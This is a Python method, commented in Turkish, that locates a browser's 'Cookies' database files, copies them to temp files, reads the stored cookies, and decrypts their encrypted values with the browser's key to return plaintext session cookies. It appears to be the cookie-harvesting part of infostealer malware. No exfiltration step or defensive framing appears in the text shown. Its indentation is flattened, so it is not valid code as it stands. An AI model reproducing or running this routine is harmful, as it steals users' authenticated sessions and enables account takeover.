def ÇerezleriAl(self) -> list[tuple[str, str, str, str, int]]:
şifrelemeAnahtarı = self.ŞifrelemeAnahtarınıAl() # sifreleme anahatırını al
çerezler = list() # çerrezler
if şifrelemeAnahtarı is None:
return çerezler
çerezDosyaYolları = list()
# tarayıcının cookie kısmını arıyor
for kök, _, dosyalar in os.walk(self.TarayıcıYolu):
for dosya in dosyalar:
if dosya.lower() == "cookies": # Dosya adı "cookies" ise
dosyaYolu = os.path.join(kök, dosya)
çerezDosyaYolları.append(dosyaYolu)
# her cookie dosyası için işlem
for yol in çerezDosyaYolları:
while True:
geçiciDosya = os.path.join(os.getenv("temp"), Utility.RastgeleDizeOluştur(10) + ".tmp")
if not os.path.isfile(geçiciDosya): # geçici temp dosyası yoksa döngüyü kapat
break
try:
shutil.copy(yol, geçiciDosya) # çerezleri kopyala
except Exception:
continue
veritabanı = sqlite3.connect(geçiciDosya) # sqlite bağlantısı
veritabanı.text_factory = lambda b: b.decode(errors="ignore") #karakterlerde hata varsa yok say
imleç = veritabanı.cursor()
try:
# çerezleri sorgulamaa
sonuçlar = imleç.execute("SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies").fetchall()
for sunucu, isim, yol, çerez, sonKullanım in sonuçlar:
çerez = self.ŞifreyiÇöz(çerez, şifrelemeAnahtarı) # şifreli çerezi çöz
#yardımcı fonksiyon ileee
if sunucu and isim and çerez:
çerezler.append((sunucu, isim, yol, çerez, sonKullanım))
except Exception:
pass
imleç.close()
veritabanı.close()
os.remove(geçiciDosya)
return çerezler